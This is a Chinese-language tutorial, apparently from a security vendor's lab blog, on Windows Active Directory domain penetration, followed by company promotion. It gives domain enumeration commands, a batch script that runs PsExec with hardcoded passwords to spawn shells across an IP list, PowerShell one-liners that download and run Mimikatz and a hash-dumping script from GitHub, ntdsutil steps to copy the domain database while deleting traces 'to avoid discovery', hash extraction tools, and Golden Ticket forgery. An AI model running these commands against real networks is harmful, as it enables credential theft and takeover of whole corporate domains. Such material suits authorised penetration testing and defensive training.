內網滲透測試之域滲透詳解!收藏!
在滲透測試過程中,我們經常會遇到以下場景:某處於域中的伺服器通過路由做埠映射,對外提供web服務,我們通過web腳本漏洞獲得了該主機的system許可權,如果甲方有進一步的內網滲透測試需求,以證明企業所面臨的巨大風險,這個時候就需要做內網的域滲透。
通常,我們是以獲得域控制器的許可權為目標,因為一旦域控制器淪陷,整個內網就盡在掌握中了,在學習域滲透之前,我們需要了解一些基礎知識,本期「安仔課堂」,ISEC實驗室的秦老師為大家一一講解。
一、什麼是域
將網路中多台計算機邏輯上組織到一起,進行集中管理,這種區別於工作組的邏輯環境叫做域,域是組織與存儲資源的核心管理單元,在域中,至少有一台域控制器,域控制器中保存著整個域的用戶帳號和安全資料庫。
圖1
那麼域網路結構有什麼優點呢?域的優點主要有以下幾個方面:
1、許可權管理比較集中,管理成本降低
域環境中,所有的網路資源,包括用戶均是在域控制器上維護的,便於集中管理,所有用戶只要登入到域,均能在域內進行身份驗證,管理人員可以較好的管理計算機資源,管理網路的成本大大降低;同時在域環境中也可以防止企業員工在域成員主機上違規安裝軟體,增強客戶端安全性,減少客戶端故障,降低維護成本。
2、保密性加強
有利於企業的一些保密資料的管理,可以單獨對資源進行許可權控制,允許或拒絕特定的域賬戶對資源的請求。
3、安全性加強
使用漫遊賬戶和文件夾重定向,個人賬戶的工作文件及數據等可以存儲在伺服器上,進行統一備份及管理,使用戶的數據更加安全有保障;同時域控制器能夠分發應用程序、系統補丁,用戶可以選擇安裝,也可以由系統管理員指派自動安裝,數據及系統安全性大大提高。
4、提高了便捷性
可由管理員指派登陸腳本映射,用戶登錄後就可以像使用本地盤符一樣,使用網路上的資源,且不需要再次輸入密碼。
基於以上原因,很多企業的內網均會採用域環境,所以作為一名合格的滲透測試人員,域滲透的常規思路和技巧要熟練掌握。
一、域的特性
域成員計算機在登錄的時候可以選擇登錄到域中或此計算機,登陸到域中的時候,身份驗證是採用Kerberos協議在域控制器上進行的,登陸到此計算機則是通過SAM來進行NTLM驗證的,如下圖:
圖2
默認情況下,域用戶可以登錄到域中所有的工作站,不包括域控制器,管理員也可以指定具體的計算機,域用戶信息保存在活動目錄中,如下圖:
圖3
三、域滲透思路
一個具有一定規模的企業,每天都可能面臨員工入職和離職,因此網路管理部門經常需要對域成員主機進行格式化消除磁碟的文件,然後重裝系統及軟體,以提供給新員工使用;因此,為了便於後期交接,大多網路管理員會做好一個系統鏡像盤,統一安裝所有的電腦,並且在安裝的時候設置慣用、甚至統一的密碼。
因此,域中的計算機本地管理員賬號,極有可能能夠登陸域中較多的計算機,本地管理員的密碼在伺服器上後期修改的概率,遠低於在個人辦公電腦上的概率,而域用戶許可權是較低的,是無法在域成員主機上安裝軟體的,這將會發生下面的一幕:
某個域用戶需要使用viso軟體進行繪圖操作,於是聯繫網路管理員進行安裝,網路管理員採用域管理員身份登錄了域成員主機,並幫助其安裝了viso軟體,於是這個有計算機基礎的員工,切換身份登錄到了本地計算機的管理員,後執行mimikatz,從內存當中抓取了域管理員的密碼,便成功的控制了整個域。
因此,域滲透的思路就是:通過域成員主機,定位出域控制器IP及域管理員賬號,利用域成員主機作為跳板,擴大滲透範圍,利用域管理員可以登陸域中任何成員主機的特性,定位出域管理員登陸過的主機IP,設法從域成員主機內存中dump出域管理員密碼,進而拿下域控制器、滲透整個內網。
四、域滲透常用指令
以下所有指令均為在域成員主機上執行的結果。
得到域控制器的IP:dsquery server
圖4
得到域控制器主機名:net group "domain controllers" /domain,注意通過該指令得到的機器名後面會多一個$符號,如下圖:
圖5
查詢域管理用戶:net group "domain admins" /domain
圖6
查看所有域用戶: net user /domain
圖7
這裡有一個特殊用戶叫做krbtgt,該用戶是用於Kerberos身份驗證的帳戶,獲得了該用戶的hash,就可以偽造票據進行票據傳遞攻擊了,此外,還有以下幾個常用指令:
查詢當前登陸域:net config workstation
查詢域密碼策略:net accounts /domain
查看補丁信息:wmic qfe
查看操作系統類型:wmic os
當我們獲得了某個本地管理員許可權的賬號,我們想通過該賬號訪問內網其他主機,常用的做法有net use建立Ipc$連接、wmic指令連接、採用rdp方式連接、當然也可以使用「計算機管理--連接到另一台計算機」的功能來進行操作,除此之外,筆者更喜歡使用psexec進行遠程連接,如下圖:
圖8
如果覺得一台一台手工連接比較麻煩,也可以進行批量連接,批量反彈cmdshell回來,可以採用如下批處理:
@echo off
echo check ip addr config file...
if not exist ip.txt echo ip addr config file ip.txt does not exist! & goto end
echo read and analysis file...
for /F "eol=#" %%i in (ip.txt) do start PsExec.exe \%%i -accepteula -u administrator -p "123456" cmd & start cmd /c PsExec.exe \%%i -u administrator -p "123456" cmd
:end
exit
圖9
當返回了cmdshell後,我們就可以逐一讀取內存,去抓取域管理員的密碼,這裡可以結合powershell來進行快速操作,無需上傳文件:
抓明文:
powershell IEX (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1"); Invoke-Mimikatz –DumpCerts
抓hash:
powershell IEX (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1");Get-PassHashes
這種方式的好處是只要域管理員登陸過目標計算機,即使註銷了會話,一樣可以從內存讀取到密碼,但實際的滲透過程中,我們往往追求的是效率,如何快速找到域管理員登陸過哪台計算機,並且還存在活動會話,優先順序更高一些,我們可以使用如下指令:
圖10
這裡ip.txt是需要遍歷的IP列表,1.bat中的指令為tasklist /v |find 「域管理員」,這樣我們只需要在返回的cmdshell當中,去查看是否含有域管理員字樣的會話,如果有,則表示該主機上曾經登陸過域管理員,可以去dump內存密碼了。
另外我們也可以使用Tasklist命令查看遠程主機任務列表,這裡一樣是搜索含有域管理員字樣的任務列表,如下圖:
圖11
基於以上原理,我們可以寫一個更加自動化的批處理:
@echo off
echo check ip addr config file...
if not exist ip.txt echo ip addr config file ip.txt does not exist! & goto end
echo read and analysis file...
for /F "eol=#" %%i in (ip.txt) do echo %%i &(echo %%i &tasklist /s %%i /u administrator /p mytest2010 /v) >>d:esult.txt
:end
exit
上述指令的作用就是採用指定的用戶名和密碼去遍歷ip.txt中的IP列表,並列印任務列表,將結果輸出到result.txt當中,執行完了上述批處理,我們只需要稍作等待,最後去查看result.txt當中是否含有域管理員字樣,即可確定哪些主機上存在域管理員的活動會話,如下圖:
圖12
五、域用戶hash提取
域用戶帳戶以域資料庫的形式保存在活動目錄中,ntdsutil.exe是域控制器自帶的域資料庫管理工具,從windows 2008就默認自帶了,因此我們可以通過域資料庫,提取出域中所有的域用戶信息,在域控上依次執行如下命令,導出域資料庫:
Ntdsutil –snapshot—activate instance ntds—create—mount —copy 裝載點windowsNTDStds.dit d:tds_save.dit
圖13
域資料庫裝載完畢,即可進行複製,如下圖:
圖14
最後執行unmount —delete --quit刪除裝載點即可,避免被發現,接著上傳工具QuarksPwDump到域控制器上,然後執行如下命令,成功提取用戶hash,如下圖:
QuarksPwDump --dump-hash-domain --ntds-file d:tds_save.dit
圖15
注意上面的操作必須在域控制器上,否則會出現如下錯誤,這是因為打開域資料庫需要用到相應的資料庫引擎,如下圖:
圖16
除了上面的操作方法外,還可以使用mimikatz一條命令,獲取域控制器上所有用戶的hash:
mimikatz log "privilege::debug" "lsadump::lsa /patch"
圖17
六、票據傳遞攻擊
域中每個用戶的Ticket都是由krbtgt的密碼Hash來計算生成的,因此只要我們拿到了krbtgt的密碼Hash,就可以隨意偽造Ticket,進而使用Ticket登陸域控制器,使用krbtgt用戶hash生成的票據被稱為Golden Ticket,此類攻擊方法被稱為票據傳遞攻擊。
首先,我們來生成Golden Ticket,這裡需要修改相應的域管理員賬號、域名稱、sid值,如下圖:
圖18
接著我們使用如下指令導入票據:
圖19
導入成功後,我們在域成員主機上執行klist,即可查看緩存的票據,如下圖:
圖20
最後,我們就可以使用票據傳遞攻擊,登陸域控了,如下圖:
圖21
因此,在域滲透過程如果發現域管理員的密碼已經修改,可嘗試利用krbtgt用戶的歷史hash來進行票據傳遞攻擊,krbtgt用戶的密碼一般不會有人去修改。
GIF
互了個動
小夥伴們,
本期內容到這裡就結束啦,
你Get到了嗎?
歡迎大家於文末留言,
分享你的寶貴見解、
疑問、補充~
與ISEC實驗室大神互動的機會來啦!
速速行動起來撒!
美亞柏科控股子公司安勝作為國內領先的網路安全類產品及服務提供商,秉承「創新為安,服務致勝」的經營理念,專註於網路安全類產品的生產與服務;以「研發+服務+銷售」的經營模式,「裝備+平台+服務」的產品體系,在技術研究、研發創新、產品化等方面已形成一套完整的流程化體系,為廣大用戶提供量體裁衣的綜合解決方案!
ISEC實驗室作為公司新技術和新產品的預研基地,秉承「我的安全,我做主」的理念,專註於網路安全領域前沿技術研究,提供網路安全培訓、應急響應、安全檢測等服務。
2018年
承擔全國兩會網路安全保障工作。
2017年
承擔全國兩會網路安全保障工作;
完成金磚「廈門會晤」保障工作;
完成北京「一帶一路」國際合作高峰論壇網路安全保障;
承擔中國共產黨第十九次全國代表大會網路安全保障;
承擔第四屆世界互聯網大會。
2016年
承擔全國兩會網路安全保障工作;
為貴陽大數據與網路安全攻防演練提供技術支持;
承擔G20峰會的網路安保工作;
承擔第三屆世界互聯網大會。
2015年
承擔第二屆世界互聯網大會。
2014年
承擔第一屆世界互聯網大會。
不忘初心、砥礪前行;未來,我們將繼續堅守、不懈追求,為國家網路安全事業保駕護航!
※恭喜「我的同事不是人」安總,喜提千萬豪車……
※美亞柏科2017年年報幾組漂亮數字搶先看!擬10轉6派2元!
TAG:美亞柏科 |